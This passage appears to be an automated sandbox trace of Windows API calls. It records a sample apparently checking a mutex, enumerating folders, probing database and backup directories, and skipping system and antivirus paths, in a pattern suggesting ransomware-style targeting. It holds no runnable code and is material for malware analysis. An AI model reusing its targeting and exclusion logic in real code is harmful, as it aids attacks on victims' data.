ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.912] GetLastError () returned 0x12 [0045.912] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.913] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0045.913] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.913] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.913] GlobalLock (hMem=0x440004) returned 0x551178 [0045.913] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.913] GlobalUnlock (hMem=0x440004) returned 0 [0045.913] GlobalLock (hMem=0x440004) returned 0x551178 [0045.913] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.913] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.913] GlobalUnlock (hMem=0x440004) returned 0 [0045.913] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.913] GlobalUnlock (hMem=0x44000c) returned 0 [0045.913] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.913] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.913] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.913] GlobalUnlock (hMem=0x44000c) returned 0 [0045.913] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.913] GlobalLock (hMem=0x440004) returned 0x553188 [0045.913] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.913] GlobalUnlock (hMem=0x44000c) returned 0 [0045.913] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.913] GlobalUnlock (hMem=0x440004) returned 0 [0045.913] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.913] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned 1 [0045.913] GlobalLock (hMem=0x440004) returned 0x551178 [0045.913] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.914] GlobalUnlock (hMem=0x440004) returned 0 [0045.914] GlobalLock (hMem=0x440004) returned 0x551178 [0045.914] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.914] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.914] GlobalUnlock (hMem=0x440004) returned 0 [0045.914] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.914] GlobalUnlock (hMem=0x44000c) returned 0 [0045.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0045.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0045.914] GetLastError () returned 0x3 [0045.914] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0045.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0045.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@Q企@\x18䀴Q\x181")) returned 0xffffffff [0045.915] GetLastError () returned 0x2 [0045.915] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0045.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0045.915] GetLastError () returned 0x2 [0045.915] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0045.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@봬R企@\x18?T\x18D")) returned 0xffffffff [0045.916] GetLastError () returned 0x2 [0045.916] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0045.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@Q企@\x18뻜R\x18j")) returned 0xffffffff [0045.917] GetLastError () returned 0x2 [0045.917] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0045.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@봬R企@\x18?T\x18q")) returned 0xffffffff [0045.917] GetLastError () returned 0x2 [0045.917] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RÀ") returned 6 [0045.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⇜R企@\x18?T\x18y")) returned 0xffffffff [0045.918] GetLastError () returned 0x2 [0045.918] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0045.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0045.918] GetLastError () returned 0x2 [0045.918] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0045.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0045.918] GetLastError () returned 0x2 [0045.918] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0045.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⇜R企@\x18?T\x18\x8f")) returned 0xffffffff [0045.919] GetLastError () returned 0x2 [0045.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0045.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0045.919] GetLastError () returned 0x2 [0045.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0045.919] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.919] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.919] GlobalUnlock (hMem=0x44000c) returned 0 [0045.919] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.919] GlobalLock (hMem=0x440004) returned 0x553188 [0045.919] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.919] GlobalUnlock (hMem=0x44000c) returned 0 [0045.919] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.919] GlobalUnlock (hMem=0x440004) returned 0 [0045.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.919] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.919] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0045.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.919] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.919] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.920] GlobalLock (hMem=0x440004) returned 0x551178 [0045.920] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.920] GlobalUnlock (hMem=0x440004) returned 0 [0045.920] GlobalLock (hMem=0x440004) returned 0x551178 [0045.920] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.920] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.920] GlobalUnlock (hMem=0x440004) returned 0 [0045.920] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.920] GlobalUnlock (hMem=0x44000c) returned 0 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.920] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.921] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0045.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0045.921] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.921] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.921] GlobalUnlock (hMem=0x44000c) returned 0 [0045.921] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.921] GlobalLock (hMem=0x440004) returned 0x553188 [0045.921] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.921] GlobalUnlock (hMem=0x44000c) returned 0 [0045.921] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.921] GlobalUnlock (hMem=0x440004) returned 0 [0045.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x18eb64 | out: 